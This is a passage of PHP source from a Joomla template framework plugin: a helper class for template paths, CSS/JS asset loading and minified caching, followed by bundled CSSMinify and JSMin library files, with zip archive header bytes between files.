                    if (self::getInstance()->checkImage(JPATH_ROOT.'/'.$dir.'/'.$file)){
                        $results[] = $dir.'/'.$file;
                    }
                    
                  }
            
                }
            
                // tidy up: close the handler
                closedir($handler);
                
            }
            // done!
            return $results;
        }
        /**
        * checkImage
        * 
        * @return boolean
        */
        public static function  checkImage($path) {
            if (JFile::exists($path)){
                $img_infor = getimagesize($path);
                $image_type = $img_infor[2];
                if(in_array($image_type , array(IMAGETYPE_GIF , IMAGETYPE_JPEG ,IMAGETYPE_PNG , IMAGETYPE_BMP)))
                {
                    return true;
                }
            }
            
            return false;
        
        }
        /**
        * loadK2Item
        * 
        * @return object
        */
        public static function loadK2Item($id){
            
            $db = JFactory::getDBo();
            $query = $db->getQuery(true);
            $query->select('i.*,u.name as u_name')
                ->from('#__k2_items as i')
                ->innerJoin('#__users as u ON u.id=i.created_by ')
                ->where('i.id ='.(int)$id)
                ->where('i.published=1');
            
            
            return $db->setQuery($query)->loadObject();
        }
        /**
        * getFileSize
        * 
        * @return int
        */
        public static function getFileSize($id,$ext){
            
            $path = JPATH_ROOT.'/'.'/media/k2/videos/'.$id.'.'.$ext;
            if (JFile::exists($path)){
                return filesize($path);
            }
            return 0;
        }
        /**
        * Get Template name
        * 
        * @return string
        */
        public static function themeName()
        {
            //return self::getInstance()->getDocument()->template;
            return JFactory::getApplication()->getTemplate();
        }

        /**
        * Get Template name
        * @return string
        */
        public static function theme()
        {
            return self::getInstance()->themeName();
        }

        /**
        * Get or set Template param. If value not setted params get and return, 
        * else set params
        *
        * @param string $name
        * @param mixed $value
        */
        public static function Param($name=true, $value=NULL)
        {

            // if $name = true, this will return all param data
            if( is_bool($name) and $name==true ){
                return JFactory::getApplication()->getTemplate(true)->params;
            }
            // if $value = null, this will return specific param data
            if( is_null($value) ) return JFactory::getApplication()->getTemplate(true)->params->get($name);
            // if $value not = null, this will set a value in specific name.

            $data = JFactory::getApplication()->getTemplate(true)->params->get($name);

            if( is_null($data) or !isset($data) ){
                JFactory::getApplication()->getTemplate(true)->params->set($name, $value);
                return $value;
            } else {
                return $data;
            }
        }
        /**
        * Get theme path
        * 
        * @param bool $base
        * @return string
        */
        public static function themePath($base=false)
        {
            if( $base==true ) return JURI::root(true).'/templates/'.self::getInstance()->themeName();

            return  JPATH_THEMES . '/' . self::getInstance()->themeName();
        }

        /**
        * Get theme path
        * @return string
        */
        public static function themeURL()
        {
            return self::getInstance()->themePath();
        }

        /**
        * Get Base Path
        * 
        */
        public static function basePath()
        {
            return JPATH_BASE;
        } 

        /**
        * Get Base URL
        * 
        */
        public static function baseURL()
        {
            return JURI::root(true);
        }

        /**
        * Get Framework HELIX path
        * 
        */
        public static function frameworkPath($base=false)
        {
            if( $base==true ) return JURI::root(true).'/plugins/system/bluejoomla';

            return JPATH_PLUGINS . '/system/bluejoomla';
        }

        public static function pluginPath($base=false){
            return self::getInstance()->frameworkPath($base);
        }


        /**
        * Make string to slug
        * 
        * @param mixed $text
        * @return string
        */

        public static function slug($text)
        {
            return preg_replace('/[^a-z0-9_]/i','-', strtolower($text));
        }


        /**
        * Import required file/files
        * 
        * @param array | string $paths
        * @param object $helix
        * @return self
        */
        public static function Import($paths, $shinetheme=false)
        {
            if( is_array($paths) ) foreach((array) $paths as $file) self::_Import( $file );
            else self::_Import( $paths, $shinetheme );
            return self::getInstance();
        }

        /**
        * Single file import
        * 
        * @param string $path
        * @return self
        */
        private static function _Import($path, $shinetheme)
        {
            $intheme  = self::getInstance()->themePath() . '/' . $path;
            $inplugin = self::getInstance()->frameworkPath() . '/' . $path;

            if( file_exists( $intheme ) && !is_dir( $intheme ) ){
                self::getInstance()->importedFiles[] = $intheme; 
                require_once $intheme;
            } elseif( file_exists( $inplugin ) && !is_dir( $inplugin ) ){
                self::getInstance()->importedFiles[] = $inplugin; 
                require_once $inplugin;
            }
            return self::getInstance();
        }

        /**
        * Get Imported file
        * @return array
        */
        public static function getImportedFiles()
        {
            return self::getInstance()->importedFiles;
        }

        /**
        * Detact External URL
        * 
        * @param string $url
        * @return boolean
        */
        public function isExternalURL($url)
        {
            $parseurl = parse_url($url);
            $urlHost = isset($parseurl['host'])?$parseurl['host']:false;
            $currentHost = $_SERVER['HTTP_HOST'];
            $currentRemoteAddr = $_SERVER['REMOTE_ADDR'];

            if(false==$urlHost) return false;

            if( $currentHost===$urlHost or $currentRemoteAddr===$urlHost ) return false;
            else return true;
        } 


        /**
        * Add stylesheet
        * 
        * @param mixed $sources. string or array
        * @param string $seperator. default is , (comma)
        * @return self
        */
        public static function addCSS($sources, $seperator=',',$checkpath=true) {

            $srcs = array();
            if( is_string($sources) ) $sources = explode($seperator,$sources);
            if(!is_array($sources)) $sources = array($sources);

            foreach( (array) $sources as $source ) $srcs[] = trim($source);

            foreach ($srcs as $src) {

                if(self::getInstance()->isExternalURL($src)) self::getInstance()->document->addStyleSheet($src);

                if( $checkpath==false ){
                    self::getInstance()->document->addStyleSheet($src);
                    continue; 
                } 

                //cheack in template path
                if( file_exists( self::getInstance()->themePath() . '/css/'. $src)) { 
                    self::getInstance()->document->addStyleSheet( self::getInstance()->themePath(true) . '/css/' . $src );
                } 
                //if not found, then check from helix path
                elseif( file_exists( self::getInstance()->frameworkPath() . '/css/' . $src ) ) { 
                    self::getInstance()->document->addStyleSheet( self::getInstance()->frameworkPath(true) . '/css/' . $src);
                }        
            }
            return self::getInstance();
        }    

        /**
        * Add javascript
        * 
        * @param mixed $sources. string or array
        * @param string $seperator. default is , (comma)
        * @return self
        */
        public static function addJS($sources, $seperator=',', $checkpath=true) {

            $srcs = array();
            if( is_string($sources) ) $sources = explode($seperator,$sources);
            if(!is_array($sources)) $sources = array($sources);

            foreach( (array) $sources as $source ) $srcs[] = trim($source);

            foreach ($srcs as $src) {

                if(self::getInstance()->isExternalURL($src)) self::getInstance()->document->addScript($src);

                if( $checkpath==false ){
                    self::getInstance()->document->addScript($src);
                    continue; 
                } 

                //cheack in template path
                if( file_exists( self::getInstance()->themePath() . '/js/'. $src)) { 
                    self::getInstance()->document->addScript( self::getInstance()->themePath(true) . '/js/' . $src );
                } 
                //if not found, then check from helix path
                elseif( file_exists( self::getInstance()->frameworkPath() . '/js/' . $src ) ) { 
                    self::getInstance()->document->addScript( self::getInstance()->frameworkPath(true) . '/js/' . $src);
                }        
            }
            return self::getInstance();
        }    

        /**
        * Add Inline Javascript
        * 
        * @param mixed $code
        * @return self
        */
        public function addInlineJS($code){
            self::getInstance()->document->addScriptDeclaration($code);
            return self::getInstance();
        }

        /**
        * Add Inline CSS
        * 
        * @param mixed $code
        * @return self
        */
        public function addInlineCSS($code) {
            self::getInstance()->document->addStyleDeclaration($code);
            return self::getInstance();
        }


        public static function getShortcodes()
        {
            return self::getInstance()->shortcode_tags;
        }

        private static $shortcode_tags = array();
        public static function importShortCodeFiles()
        {

            $shortcodes = array();
            global $themeshortcodes;

            $pluginshortcodes = glob( self::getInstance()->pluginPath().'/shortcodes/*.php');

            foreach((array) $themeshortcodes as $value)  $shortcodes[] =  basename($value);
            foreach((array) $pluginshortcodes as $value)  $shortcodes[] =   basename($value);

            $shortcodes = array_unique($shortcodes);

            self::getInstance()->Import('core/wp_shortcodes.php', self::getInstance());

            foreach($shortcodes as $shortcode  ) self::getInstance()->Import('shortcodes/'.$shortcode);

            return self::getInstance();
        }


        private static function file($file)
        {
            // searching in template path
            if( file_exists( self::getInstance()->themePath() . '/'. $file)) { 
                return self::getInstance()->themePath() . '/'. $file;
            } 
            //if not found, then check from helix path
            elseif( file_exists( self::getInstance()->frameworkPath() . '/'. $file ) ) { 
                return self::getInstance()->frameworkPath() . '/'. $file;
            }
            return false;
        }

        private static function resetCookie($name)
        {
            if( JRequest::getVar('reset',  ''  , 'get')==1 )
                setcookie( $name, '', time() - 3600, '/');
        }


        public static function strip_shortcode($text, $tags = '', $invert = FALSE) {

            $replace = array(
                '[' => '<',
                ']' => '>'
                );
            $text = strtr($text, $replace);

            preg_match_all('/<(.+?)[\s]*\/?[\s]*>/si', trim($tags), $tags); 
            $tags = array_unique($tags[1]); 

            if(is_array($tags) AND count($tags) > 0) { 
                if($invert == FALSE) { 
                    return preg_replace('@<(?!(?:'. implode('|', $tags) .')\b)(\w+)\b.*?>.*?</\1>@si', '', $text); 
                } 
                else { 
                    return preg_replace('@<('. implode('|', $tags) .')\b.*?>.*?</\1>@si', '', $text); 
                } 
            } 
            elseif($invert == FALSE) { 
                return preg_replace('@<(\w+)\b.*?>.*?</\1>@si', '', $text); 
            } 
            return $text; 
        } 		

        /**
        * Add jQuery
        * 
        * @since    1.9.5
        * @param mixed $usecdn
        * @param mixed $forceLoad
        * @return self
        */
        public function addJQuery($usecdn=false, $forceLoad=false) {
            if (JVERSION>=3) {
                JHtml::_('jquery.framework');
                
            } else {
                $scripts = (array) array_keys( self::getInstance()->getDocument()->_scripts );
                $hasjquery=false;
                foreach($scripts as $script) {
                    if (preg_match("/\b(jquery|jquery-latest).([0-9\.min|max]+).(.js)\b/i", $script)) {
                        $hasjquery = true;
                    }  
                }

                if( $forceLoad ) $hasjquery=false;

                if( !$hasjquery ) {
                    if( $usecdn ) self::getInstance()->addJS( 'http://code.jquery.com/jquery-latest.min.js' );
                    else self::getInstance()->addJS( 'jquery.min.js' );                    
                }
            }
            self::getInstance()->addJS( 'jquery-noconflict.js' );
            return self::getInstance();
        }


        /**
        * Remove CSS
        * 
        * @param mixed $sources
        * @param mixed $seperator
        */
        public function removeJS($sources, $seperator=',') {

            $srcs = array();
            if( is_string($sources) ) $sources = explode($seperator,$sources);
            if(!is_array($sources)) $sources = array($sources);

            foreach( (array) $sources as $source ) $srcs[] = trim($source);

            $scripts = (array) array_keys( self::getInstance()->getDocument()->_scripts );
            $removedJS = array();
            foreach ($srcs as $src) {
                foreach($scripts as $script) {
                    if (preg_match("/\b".$src."\b/i", $script)) {
                        $removedJS[] = $script;
                        unset( self::getInstance()->getDocument()->_scripts[$script] );
                    }  
                }
            }
            return $removedJS;
        }


        public function removeCSS($sources, $seperator=',') {

            $srcs = array();
            if( is_string($sources) ) $sources = explode($seperator,$sources);
            if(!is_array($sources)) $sources = array($sources);

            foreach( (array) $sources as $source ) $srcs[] = trim($source);

            $scripts = (array) array_keys( self::getInstance()->getDocument()->_styleSheets );
            $removedCSS = array();
            foreach ($srcs as $src) {
                foreach($scripts as $script) {
                    if (preg_match("/\b".$src."\b/i", $script)) {
                        $removedCSS[] = $script;
                        unset( self::getInstance()->getDocument()->_styleSheets[$script] );
                    }  
                }
            }
            return $removedCSS;
        }


        // Add bootstrap	
        public function addBootstrap($responsive=true, $rtl=false) {


			// RTL enable
            if( self::getInstance()->direction()=='rtl' ) {
                self::getInstance()->addCSS('bootstrap.min.rtl.css');
				// BootStrap responsive layout rtl
                if (self::getInstance()->Param('layout_type')=='responsive') self::getInstance()->addCSS('bootstrap-responsive.min.rtl.css');
            } else {
                self::getInstance()->addCSS('bootstrap.min.css');
				// BootStrap responsive layout normal
                if (self::getInstance()->Param('layout_type')=='responsive') self::getInstance()->addCSS('bootstrap-responsive.min.css');
            }

            self::getInstance()->addCSS('font-awesome.css');
            self::getInstance()->addJQuery();
            self::getInstance()->addJS('bootstrap.min.js');

            return self::getInstance();
        }

        /**
        * 
        *
        */
        public static function selectivizr(){
            if(self::getInstance()->isIE(8))
                self::getInstance()->addJS('selectivizr-min.js');    
            return self::getInstance();    
        }

        public static function respondJS(){
            if(self::getInstance()->isIE(8))
                self::getInstance()->addJS('respond.min.js');	
            return self::getInstance();	
        }

        /**
        * Add Google Fonts
        * 
        * @param string $name. Name of font. Ex: Yanone+Kaffeesatz:400,700,300,200 or Yanone+Kaffeesatz  or Yanone Kaffeesatz
        * @param string $field. Applied selector. Ex: h1, h2, #id, .classname
        */
        public static function GoogleFont($name, $field) {

            $name = str_replace(' ', '+', $name ); 

            $font_name = explode(':', $name);
            if( is_array($font_name) ) $font_name = str_replace('+', ' ', $font_name[0] );
            else $font_name = str_replace('+', ' ', $name );

            self::getInstance()->document->addStyleSheet("http://fonts.googleapis.com/css?family=" . $name);
            $styleDeclaration = "$field{font-family:'" . $font_name . "'; -webkit-font-smoothing: subpixel-antialiased !important;}";
            self::getInstance()->document->addStyleDeclaration($styleDeclaration);
        }    

        //////////
        public static function Compression() {//compress css and js files
            if (self::getInstance()->Param('compress_css')) self::getInstance()->compressCSS();
            if (self::getInstance()->Param('compress_js')) self::getInstance()->compressJS(); 
            return self::getInstance();       
        }

        public static function compressJS() {//function to compress js files

            self::getInstance()->Import('core/classes/jsmin.php');

            $js_files = array();
            $cache_time = self::getInstance()->Param('cache_time');//Cache time in minute
            $diff=false;
            $helix_folder='helix_assets';//path of cache where to save
            $output = array();
            $md5sum = null;

            $scripts = self::getInstance()->getDocument('_scripts');//get all scripts

            foreach ($scripts as $fileSrc => $fileAttr) {//separate path from attribute
                $md5sum .= md5($fileSrc);
                $js_files[] = $fileSrc;
            }

            if (!is_writable(JPATH_CACHE)) {//check for cache path writable, if not return
                return;
            } 

            if (is_writable(JPATH_CACHE)) {//add helix_assets folder under cache directory
                if (!file_exists(JPATH_CACHE.DIRECTORY_SEPARATOR.$helix_folder)) mkdir (JPATH_CACHE.DIRECTORY_SEPARATOR.$helix_folder);
            }

            if (count($js_files) > 0) {//if any js file available
                $cache_name = md5($md5sum) . ".js";
                $cache_path = JPATH_CACHE . DIRECTORY_SEPARATOR . $helix_folder . DIRECTORY_SEPARATOR . $cache_name;


                //see if file is stale
                if (!file_exists($cache_path)) {
                    $diff=true;   
                } elseif(filesize($cache_path) == 0 || ((filemtime($cache_path) + $cache_time * 60) < time())) {
                    $diff=true; 
                }

                foreach ($js_files as $files) {
                    $external = self::getInstance()->isExternalURL($files);
                    if( $external ) continue;
                    unset(self::getInstance()->getDocument()->_scripts[$files]); //Remove js files from the header
                }

                if ($diff) {
                    $output = '';
                    foreach ($js_files as $files) {

                        $external = self::getInstance()->isExternalURL($files);
                        if( $external ) continue;

                        $filepath = self::getInstance()->realPath($files);
                        if (JFile::exists($filepath)) {
                            $js = JSMin::minify(JFile::read($filepath));//read and compress js files
                            $output .= "/*------ " . $files . " ------*/\n" . $js . "\n\n";//add file name to compressed JS
                        }
                    }
                    JFile::write($cache_path, $output);//write cache to the joomla cache directory
                }

                $cache_url =  self::getInstance()->baseURL() . "/cache/" . $helix_folder . '/' . $cache_name;//path of css cache to add as script

                self::getInstance()->document->addScript( $cache_url ); //add script to the header
            }
        }

        public static function compressCSS() {//function to compress css files

            self::getInstance()->Import('core/classes/cssmin.php');

            $css_files = array();
            $cache_time = self::getInstance()->Param('cache_time');//Cache time in minute
            $helix_folder='helix_assets';//path of cache where to save
            $output = array();
            $md5sum = null;

            $csss = self::getInstance()->getDocument('_styleSheets');//get all css

            foreach ($csss as $fileSrc => $fileAttr) {//separate path from attribute
                $md5sum .= md5($fileSrc);
                $css_files[] = $fileSrc;
            }

            if (!is_writable(JPATH_CACHE)) {//check for cache path writable, if not return
                return;
            } 

            if (is_writable(JPATH_CACHE)) {//add helix_assets folder under cache directory
                if (!file_exists(JPATH_CACHE.DIRECTORY_SEPARATOR.$helix_folder)) mkdir (JPATH_CACHE.DIRECTORY_SEPARATOR.$helix_folder);
            }

            if (count($css_files) > 0) {//if any css file available
                $cache_name = md5($md5sum) . ".css";
                $cache_path = JPATH_CACHE . DIRECTORY_SEPARATOR . $helix_folder . DIRECTORY_SEPARATOR . $cache_name;
                $diff=false;

                //see if file is stale
                if (!file_exists($cache_path)) {
                    $diff=true;   
                } elseif(filesize($cache_path) == 0 || ((filemtime($cache_path) + $cache_time * 60) < time())) {
                    $diff=true; 
                }

                foreach ($css_files as $files) {

                    $external = self::getInstance()->isExternalURL($files);
                    if( $external ) continue;

                    unset(self::getInstance()->getDocument()->_styleSheets[$files]); //Remove all css files from the header
                }

                if ($diff) {
                    $output = '';
                    foreach ($css_files as $files) {

                        $external = self::getInstance()->isExternalURL($files);
                        if( $external ) continue;

                        $filepath = self::getInstance()->realPath($files);//convert to real url

                        global $absolute_url;
                        $absolute_url = $files;//absoulte path of each css file
                        if (JFile::exists($filepath)) {
                            $css = CSSMinify::process(JFile::read($filepath));//read and compress css files

                            $css=preg_replace_callback('/url\(([^\)]*)\)/', array(self::getInstance(), 'replaceUrl'), $css);//call replaceUrl function to set absolute value to the urls

                            $output .= "/*------ " . $files . " ------*/\n" . $css . "\n\n";//add file name to compressed css
                        }
                    }
                    JFile::write($cache_path, $output);//write cache to the joomla cache directory
                }

                $cache_url = self::getInstance()->baseURL() . "/cache/" . $helix_folder . '/' . $cache_name;//path of css cache to add as stylesheet

                self::getInstance()->document->addStyleSheet( $cache_url ); //add stylesheet to the header
            }
        }

        private static function replaceUrl($matches) {//replace url with absolute path
            $url = str_replace(array('"', '\''), '', $matches[1]);
            $url = self::getInstance()->fixUrl($url);
            return "url('$url')";
        }

        private static function fixUrl($url) {
            global $absolute_url;
            $base = dirname($absolute_url);
            if (preg_match('/^(\/|http)/', $url))
                return $url;
            /*absolute or root*/
            while (preg_match('/^\.\.\//', $url)) {
                $base = dirname($base);
                $url = substr($url, 3);
            }

            $url = $base . '/' . $url;
            return $url;
        }    

        private static function realPath($strSrc) { //Real path of css or js file
            if (preg_match('/^https?\:/', $strSrc)) {
                if (!preg_match('#^' . preg_quote(JURI::base()) . '#', $strSrc)) return false; //external css
                $strSrc = str_replace(JURI::base(), '', $strSrc);
            } else {
                if (preg_match('/^\//', $strSrc)) {
                    if (!preg_match('#^' . preg_quote(JURI::base(true)) . '#', $strSrc)) return false; //same server, but outsite website
                    $strSrc = preg_replace('#^' . preg_quote(JURI::base(true)) . '#', '', $strSrc);
                }
            }
            $strSrc = str_replace('//', '/', $strSrc);
            $strSrc = preg_replace('/^\//', '', $strSrc);
            return $strSrc;
        }    

        /**
        * Detect IE Version
        *
        * @since	1.0
        */
        public static function isIE($version = false) {  
            $agent=$_SERVER['HTTP_USER_AGENT'];  
            $found = strpos($agent,'MSIE ');  
            if ($found) { 
                if ($version) {
                    $ieversion = substr(substr($agent,$found+5),0,1);   
                    if ($ieversion == $version) return true;
                    else return false;
                } else {
                    return true;
                }

            } else {
                return false;
            }
            if (stristr($agent, 'msie'.$ieversion)) return true;
            return false;        
        }
    }

?>PK!�#o,,bluejoomla/core/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!?�\��"bluejoomla/core/classes/cssmin.phpnu&1i�<?php
/**
 * Class CSSMinify 
 * @package Minify
 */

/**
 * Compress CSS
 *
 * This is a heavy regex-based removal of whitespace, unnecessary
 * comments and tokens, and some CSS value minimization, where practical.
 * Many steps have been taken to avoid breaking comment-based hacks, 
 * including the ie5/mac filter (and its inversion), but expect tricky
 * hacks involving comment tokens in 'content' value strings to break
 * minimization badly. A test suite is available.
 * 
 * @package Minify
 * @author Stephen Clay <steve@mrclay.org>
 * @author http://code.google.com/u/1stvamp/ (Issue 64 patch)
 */
class CSSMinify {

    /**
     * Minify a CSS string
     * 
     * @param string $css
     * 
     * @param array $options (currently ignored)
     * 
     * @return string
     */
    public static function process($css, $options = array())
    {
        $obj = new CSSMinify($options);
        return $obj->_process($css);
    }
    
    /**
     * @var array options
     */
    protected $_options = null;
    
    /**
     * @var bool Are we "in" a hack?
     * 
     * I.e. are some browsers targetted until the next comment?
     */
    protected $_inHack = false;
    
    
    /**
     * Constructor
     * 
     * @param array $options (currently ignored)
     * 
     * @return null
     */
    private function __construct($options) {
        $this->_options = $options;
    }
    
    /**
     * Minify a CSS string
     * 
     * @param string $css
     * 
     * @return string
     */
    protected function _process($css)
    {
        $css = str_replace("\r\n", "\n", $css);
        
        // preserve empty comment after '>'
        // http://www.webdevout.net/css-hacks#in_css-selectors
        $css = preg_replace('@>/\\*\\s*\\*/@', '>/*keep*/', $css);
        
        // preserve empty comment between property and value
        // http://css-discuss.incutio.com/?page=BoxModelHack
        $css = preg_replace('@/\\*\\s*\\*/\\s*:@', '/*keep*/:', $css);
        $css = preg_replace('@:\\s*/\\*\\s*\\*/@', ':/*keep*/', $css);
        
        // apply callback to all valid comments (and strip out surrounding ws
        $css = preg_replace_callback('@\\s*/\\*([\\s\\S]*?)\\*/\\s*@'
            ,array($this, '_commentCB'), $css);

        // remove ws around { } and last semicolon in declaration block
        $css = preg_replace('/\\s*{\\s*/', '{', $css);
        $css = preg_replace('/;?\\s*}\\s*/', '}', $css);
        
        // remove ws surrounding semicolons
        $css = preg_replace('/\\s*;\\s*/', ';', $css);
        
        // remove ws around urls
        $css = preg_replace('/
                url\\(      # url(
                \\s*
                ([^\\)]+?)  # 1 = the URL (really just a bunch of non right parenthesis)
                \\s*
                \\)         # )
            /x', 'url($1)', $css);
        
        // remove ws between rules and colons
        $css = preg_replace('/
                \\s*
                ([{;])              # 1 = beginning of block or rule separator 
                \\s*
                ([\\*_]?[\\w\\-]+)  # 2 = property (and maybe IE filter)
                \\s*
                :
                \\s*
                (\\b|[#\'"])        # 3 = first character of a value
            /x', '$1$2:$3', $css);
        
        // remove ws in selectors
        $css = preg_replace_callback('/
                (?:              # non-capture
                    \\s*
                    [^~>+,\\s]+  # selector part
                    \\s*
                    [,>+~]       # combinators
                )+
                \\s*
                [^~>+,\\s]+      # selector part
                {                # open declaration block
            /x'
            ,array($this, '_selectorsCB'), $css);
        
        // minimize hex colors
        $css = preg_replace('/([^=])#([a-f\\d])\\2([a-f\\d])\\3([a-f\\d])\\4([\\s;\\}])/i'
            , '$1#$2$3$4$5', $css);
        
        // remove spaces between font families
        $css = preg_replace_callback('/font-family:([^;}]+)([;}])/'
            ,array($this, '_fontFamilyCB'), $css);
        
        $css = preg_replace('/@import\\s+url/', '@import url', $css);
        
        // replace any ws involving newlines with a single newline
        $css = preg_replace('/[ \\t]*\\n+\\s*/', "\n", $css);
        
        // separate common descendent selectors w/ newlines (to limit line lengths)
        $css = preg_replace('/([\\w#\\.\\*]+)\\s+([\\w#\\.\\*]+){/', "$1\n$2{", $css);
        
        // Use newline after 1st numeric value (to limit line lengths).
        $css = preg_replace('/
            ((?:padding|margin|border|outline):\\d+(?:px|em)?) # 1 = prop : 1st numeric value
            \\s+
            /x'
            ,"$1\n", $css);
        
        // prevent triggering IE6 bug: http://www.crankygeek.com/ie6pebug/
        $css = preg_replace('/:first-l(etter|ine)\\{/', ':first-l$1 {', $css);
            
        return trim($css);
    }
    
    /**
     * Replace what looks like a set of selectors  
     *
     * @param array $m regex matches
     * 
     * @return string
     */
    protected function _selectorsCB($m)
    {
        // remove ws around the combinators
        return preg_replace('/\\s*([,>+~])\\s*/', '$1', $m[0]);
    }
    
    /**
     * Process a comment and return a replacement
     * 
     * @param array $m regex matches
     * 
     * @return string
     */
    protected function _commentCB($m)
    {
        $hasSurroundingWs = (trim($m[0]) !== $m[1]);
        $m = $m[1]; 
        // $m is the comment content w/o the surrounding tokens, 
        // but the return value will replace the entire comment.
        if ($m === 'keep') {
            return '/**/';
        }
        if ($m === '" "') {
            // component of http://tantek.com/CSS/Examples/midpass.html
            return '/*" "*/';
        }
        if (preg_match('@";\\}\\s*\\}/\\*\\s+@', $m)) {
            // component of http://tantek.com/CSS/Examples/midpass.html
            return '/*";}}/* */';
        }
        if ($this->_inHack) {
            // inversion: feeding only to one browser
            if (preg_match('@
                    ^/               # comment started like /*/
                    \\s*
                    (\\S[\\s\\S]+?)  # has at least some non-ws content
                    \\s*
                    /\\*             # ends like /*/ or /**/
                @x', $m, $n)) {
                // end hack mode after this comment, but preserve the hack and comment content
                $this->_inHack = false;
                return "/*/{$n[1]}/**/";
            }
        }
        if (substr($m, -1) === '\\') { // comment ends like \*/
            // begin hack mode and preserve hack
            $this->_inHack = true;
            return '/*\\*/';
        }
        if ($m !== '' && $m[0] === '/') { // comment looks like /*/ foo */
            // begin hack mode and preserve hack
            $this->_inHack = true;
            return '/*/*/';
        }
        if ($this->_inHack) {
            // a regular comment ends hack mode but should be preserved
            $this->_inHack = false;
            return '/**/';
        }
        // Issue 107: if there's any surrounding whitespace, it may be important, so 
        // replace the comment with a single space
        return $hasSurroundingWs // remove all other comments
            ? ' '
            : '';
    }
    
    /**
     * Process a font-family listing and return a replacement
     * 
     * @param array $m regex matches
     * 
     * @return string   
     */
    protected function _fontFamilyCB($m)
    {
        $m[1] = preg_replace('/
                \\s*
                (
                    "[^"]+"      # 1 = family in double qutoes
                    |\'[^\']+\'  # or 1 = family in single quotes
                    |[\\w\\-]+   # or 1 = unquoted family
                )
                \\s*
            /x', '$1', $m[1]);
        return 'font-family:' . $m[1] . $m[2];
    }
}
PK!Qt���!bluejoomla/core/classes/jsmin.phpnu&1i�<?php
/**
 * jsmin.php - PHP implementation of Douglas Crockford's JSMin.
 *
 * This is pretty much a direct port of jsmin.c to PHP with just a few
 * PHP-specific performance tweaks. Also, whereas jsmin.c reads from stdin and
 * outputs to stdout, this library accepts a string as input and returns another
 * string as output.
 *
 * PHP 5 or higher is required.
 *
 * Permission is hereby granted to use this version of the library under the
 * same terms as jsmin.c, which has the following license:
 *
 * --
 * Copyright (c) 2002 Douglas Crockford  (www.crockford.com)
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy of
 * this software and associated documentation files (the "Software"), to deal in
 * the Software without restriction, including without limitation the rights to
 * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
 * of the Software, and to permit persons to whom the Software is furnished to do
 * so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 *
 * The Software shall be used for Good, not Evil.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 * --
 *
 * @package JSMin
 * @author Ryan Grove <ryan@wonko.com>
 * @copyright 2002 Douglas Crockford <douglas@crockford.com> (jsmin.c)
 * @copyright 2008 Ryan Grove <ryan@wonko.com> (PHP port)
 * @license http://opensource.org/licenses/mit-license.php MIT License
 * @version 1.1.1 (2008-03-02)
 * @link http://code.google.com/p/jsmin-php/
 */

class JSMin {
  const ORD_LF    = 10;
  const ORD_SPACE = 32;

  protected $a           = '';
  protected $b           = '';
  protected $input       = '';
  protected $inputIndex  = 0;
  protected $inputLength = 0;
  protected $lookAhead   = null;
  protected $output      = '';

  // -- Public Static Methods --------------------------------------------------

  public static function minify($js) {
    $jsmin = new JSMin($js);
    return $jsmin->min();
  }

  // -- Public Instance Methods ------------------------------------------------

  public function __construct($input) {
    $this->input       = str_replace("\r\n", "\n", $input);
    $this->inputLength = strlen($this->input);
  }

  // -- Protected Instance Methods ---------------------------------------------

  protected function action($d) {
    switch($d) {
      case 1:
        $this->output .= $this->a;

      case 2:
        $this->a = $this->b;

        if ($this->a === "'" || $this->a === '"') {
          for (;;) {
            $this->output .= $this->a;
            $this->a       = $this->get();

            if ($this->a === $this->b) {
              break;
            }

            if (ord($this->a) <= self::ORD_LF) {
              throw new JSMinException('Unterminated string literal.');
            }

            if ($this->a === '\\') {
              $this->output .= $this->a;
              $this->a       = $this->get();
            }
          }
        }

      case 3:
        $this->b = $this->next();

        if ($this->b === '/' && (
            $this->a === '(' || $this->a === ',' || $this->a === '=' ||
            $this->a === ':' || $this->a === '[' || $this->a === '!' ||
            $this->a === '&' || $this->a === '|' || $this->a === '?')) {

          $this->output .= $this->a . $this->b;

          for (;;) {
            $this->a = $this->get();

            if ($this->a === '/') {
              break;
            } elseif ($this->a === '\\') {
              $this->output .= $this->a;
              $this->a       = $this->get();
            } elseif (ord($this->a) <= self::ORD_LF) {
              throw new JSMinException('Unterminated regular expression '.
                  'literal.');
            }

            $this->output .= $this->a;
          }

          $this->b = $this->next();
        }
    }
  }

  protected function get() {
    $c = $this->lookAhead;
    $this->lookAhead = null;

    if ($c === null) {
      if ($this->inputIndex < $this->inputLength) {
        $c = substr($this->input, $this->inputIndex, 1);
        $this->inputIndex += 1;
      } else {
        $c = null;
      }
    }

    if ($c === "\r") {
      return "\n";
    }

    if ($c === null || $c === "\n" || ord($c) >= self::ORD_SPACE) {
      return $c;
    }

    return ' ';
  }

  protected function isAlphaNum($c) {
    return ord($c) > 126 || $c === '\\' || preg_match('/^[\w\$]$/', $c) === 1;
  }

  protected function min() {
    $this->a = "\n";
    $this->action(3);

    while ($this->a !== null) {
      switch ($this->a) {
        case ' ':
          if ($this->isAlphaNum($this->b)) {
            $this->action(1);
          } else {
            $this->action(2);
          }
          break;

        case "\n":
          switch ($this->b) {
            case '{':
            case '[':
            case '(':
            case '+':
            case '-':
              $this->action(1);
              break;

            case ' ':
              $this->action(3);
              break;

            default:
              if ($this->isAlphaNum($this->b)) {
                $this->action(1);
              }
              else {
                $this->action(2);
              }
          }
          break;

        default:
          switch ($this->b) {
            case ' ':
              if ($this->isAlphaNum($this->a)) {
                $this->action(1);
                break;
              }

              $this->action(3);
              break;

            case "\n":
              switch ($this->a) {
                case '}':
                case ']':
                case ')':
                case '+':
                case '-':
                case '"':
                case "'":
                  $this->action(1);
                  break;

                default:
                  if ($this->isAlphaNum($this->a)) {
                    $this->action(1);
                  }
                  else {
                    $this->action(3);
                  }
              }
              break;

            default:
              $this->action(1);
              break;
          }
      }
    }

    return $this->output;
  }

  protected function next() {
    $c = $this->get();

